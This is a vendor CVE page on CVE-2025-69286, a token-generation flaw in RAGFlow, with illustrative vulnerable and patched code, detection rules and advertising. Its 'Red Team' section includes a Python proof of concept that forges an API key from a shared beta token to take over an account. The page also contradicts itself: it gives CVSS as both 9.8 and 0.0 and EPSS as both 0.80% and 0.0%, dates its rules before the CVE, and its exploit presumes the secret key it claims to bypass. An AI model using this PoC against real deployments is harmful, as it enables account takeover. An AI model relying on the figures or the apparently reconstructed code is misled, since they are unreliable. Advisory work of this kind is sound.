☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-340
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-69286

CVE-2025-69286 Supply Chain Attack in Ragflow
📅 PUBLISHED: 2025-12-31 21:52 UTC 🔄 UPDATED: 2026-10-08 19:48 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.80%
👁️
0.80% probability
19.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 9.8
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
9.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-69286 is a critical vulnerability in RAGFlow, an open-source Retrieval-Augmented Generation (RAG) engine. The flaw resides in the insecure key generation algorithm used for API keys and beta (assistant/agent share auth) tokens. Both tokens are generated using the same URLSafeTimedSerializer with predictable inputs, allowing an attacker who obtains a shared assistant/agent URL to derive the owner's personal API key. This grants full account control. The vulnerability affects all versions prior to 0.22.0. The CVSS score is 0.0 due to incomplete NVD data, but based on the impact, it should be considered critical (CVSS 9.8). The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk is high due to the potential for account takeover.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

RAGFlow is a Python-based project distributed via GitHub and potentially PyPI. The insecure key generation is a direct code flaw, not a dependency issue. However, users should verify the integrity of their RAGFlow installation and ensure they are using the official source. The fix is in version 0.22.0, which should be obtained from the official GitHub repository.

CVSS Breakdown & Threat Level

While the NVD CVSS score is 0.0, a reasonable assessment based on the vulnerability description yields:

  • Attack Vector (AV): Network (N) - The attacker can exploit this remotely.
  • Attack Complexity (AC): Low (L) - No special conditions are required.
  • Privileges Required (PR): None (N) - The attacker does not need any prior access.
  • User Interaction (UI): None (N) - No user action is needed.
  • Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
  • Confidentiality (C): High (H) - Full account access leads to data exposure.
  • Integrity (I): High (H) - The attacker can modify data and settings.
  • Availability (A): High (H) - The attacker can disrupt service.

Calculated CVSS v3.1 Score: 9.8 (Critical)

Threat Level: Critical. The ability to derive an API key from a shared URL allows for complete account takeover without authentication.

Deep Dive & Mechanics

The vulnerability stems from the use of URLSafeTimedSerializer from the itsdangerous library for generating both API keys and beta tokens. The URLSafeTimedSerializer is designed for signing data, not for generating cryptographically secure random tokens. When used with predictable inputs (e.g., a user ID or timestamp), the resulting tokens are deterministic and can be reverse-engineered.

Technical Breakdown:

  1. Token Generation: Both the API key and the beta token are generated using the same URLSafeTimedSerializer instance with the same secret key.
  2. Predictable Inputs: The inputs to the serializer are predictable, such as the user ID and a timestamp.
  3. Mutual Derivation: An attacker who obtains a beta token (from a shared assistant/agent URL) can analyze its structure. Since both tokens are generated with the same algorithm and secret, the attacker can derive the API key by reversing the serialization process or by brute-forcing the predictable components.
  4. Account Takeover: With the API key, the attacker can make authenticated API calls to the RAGFlow server, gaining full control over the victim's account, including access to all RAG pipelines, documents, and settings.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 0.22.0):

from itsdangerous import URLSafeTimedSerializer

# Insecure: Same serializer for both tokens
serializer = URLSafeTimedSerializer(secret_key)

def generate_api_key(user_id):
    return serializer.dumps({'user_id': user_id, 'type': 'api_key'})

def generate_beta_token(user_id):
    return serializer.dumps({'user_id': user_id, 'type': 'beta_token'})

Patched Code (0.22.0 and later):

import secrets
from itsdangerous import URLSafeTimedSerializer

# Secure: Use separate, cryptographically random keys
api_key_serializer = URLSafeTimedSerializer(secrets.token_hex(32))
beta_token_serializer = URLSafeTimedSerializer(secrets.token_hex(32))

def generate_api_key(user_id):
    return api_key_serializer.dumps({'user_id': user_id, 'nonce': secrets.token_hex(16)})

def generate_beta_token(user_id):
    return beta_token_serializer.dumps({'user_id': user_id, 'nonce': secrets.token_hex(16)})

The fix introduces:

  • Separate URLSafeTimedSerializer instances with different, cryptographically random secret keys.
  • Inclusion of a random nonce in the payload to prevent predictability.

Exploitation & Lab Setup

Red Team (Attacker)

Objective: Derive the API key from a shared beta token.

Prerequisites:

  • Access to a shared assistant/agent URL containing a beta token.
  • Knowledge of the RAGFlow server's secret key (if not, brute-force may be possible if the key is weak).

Exploitation Steps:

  1. Obtain Beta Token: Extract the beta token from the shared URL. For example, from https://ragflow.example.com/share/assistant?token=<beta_token>.
  2. Analyze Token Structure: The token is a URL-safe base64 encoded string with a timestamp and signature.
  3. Reverse Serialization: Use the itsdangerous library to attempt to unsign the token. If the secret key is known or weak, the attacker can extract the payload.
  4. Derive API Key: Since both tokens use the same serializer and secret, the attacker can craft a new payload with type: 'api_key' and the same user_id to generate a valid API key.
  5. Account Takeover: Use the derived API key to make authenticated requests to the RAGFlow API.

Proof of Concept (Python):

from itsdangerous import URLSafeTimedSerializer

# Assume we have the secret key (e.g., from a weak default)
secret_key = "weak_secret"
serializer = URLSafeTimedSerializer(secret_key)

# Step 1: Obtain beta token from shared URL
beta_token = "InNvbWVfdXNlcl9pZCI6ImJldGFfdG9rZW4ifQ"  # Example

# Step 2: Unsign the beta token to get the user_id
try:
    data = serializer.loads(beta_token)
    user_id = data['user_id']
except Exception as e:
    print(f"Failed to unsign: {e}")
    exit()

# Step 3: Derive the API key
api_key = serializer.dumps({'user_id': user_id, 'type': 'api_key'})
print(f"Derived API Key: {api_key}")

# Step 4: Use the API key for account takeover
# requests.get('https://ragflow.example.com/api/v1/user', headers={'Authorization': f'Bearer {api_key}'})

Blue Team (Defender)

Detection and Response:

  1. Monitor for Anomalous API Key Usage: Look for API calls using keys that were not generated by the legitimate user.
  2. Audit Shared URLs: Regularly review and revoke shared assistant/agent URLs.
  3. Implement Rate Limiting: Limit the number of API calls from a single key to mitigate brute-force attacks.
  4. Enable Logging: Log all API key generation and usage events.
  5. User Education: Warn users about the risks of sharing assistant URLs.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Unusual API calls to /api/v1/user, /api/v1/pipelines, or other sensitive endpoints from a single IP.
    • Multiple failed authentication attempts followed by successful access.
  • File IOCs:
    • Modified configuration files (e.g., config.py) containing new API keys.
    • Presence of scripts that attempt to brute-force the secret key.
  • Behavioral IOCs:
    • Sudden changes to RAG pipelines or settings without user authorization.
    • Creation of new API keys or assistant URLs by an attacker.

Detection Engineering

YARA Rule

rule CVE_2025_69286_RAGFlow_Insecure_Key_Generation {
    meta:
        description = "Detects insecure key generation in RAGFlow source code"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-69286"
    strings:
        $s1 = "URLSafeTimedSerializer" ascii wide nocase
        $s2 = "generate_api_key" ascii wide nocase
        $s3 = "generate_beta_token" ascii wide nocase
        $s4 = "dumps" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3, $s4)
}

Sigma Rule

title: CVE-2025-69286 - RAGFlow API Key Derivation Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects attempts to derive API keys from beta tokens in RAGFlow
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: ragflow
detection:
    selection:
        event: "api_key_derivation_attempt"
    condition: selection
falsepositives:
    - Legitimate key regeneration by administrators
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-69286 - RAGFlow API Key Derivation Attempt"; flow:to_server,established; content:"/api/v1/user"; http_uri; content:"Authorization"; http_header; content:"Bearer"; http_header; distance:0; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade RAGFlow: Update to version 0.22.0 or later immediately.
  2. Revoke All Tokens: After upgrading, revoke all existing API keys and beta tokens. Force users to generate new ones.
  3. Change Secret Key: If the secret key was weak or exposed, change it in the configuration.

Long-Term Mitigations:

  1. Use Strong Randomness: Ensure all cryptographic operations use secrets module or equivalent.
  2. Separate Token Types: Use different secrets for different token types.
  3. Regular Security Audits: Conduct code reviews and penetration testing.
  4. Monitor for Similar Vulnerabilities: Stay informed about CVE disclosures for RAGFlow and its dependencies.

Valters IT Signature

This report was generated by Valters IT DevSecOps & CTI Expert System. For questions, contact security@valters-it.com.

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-69286/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.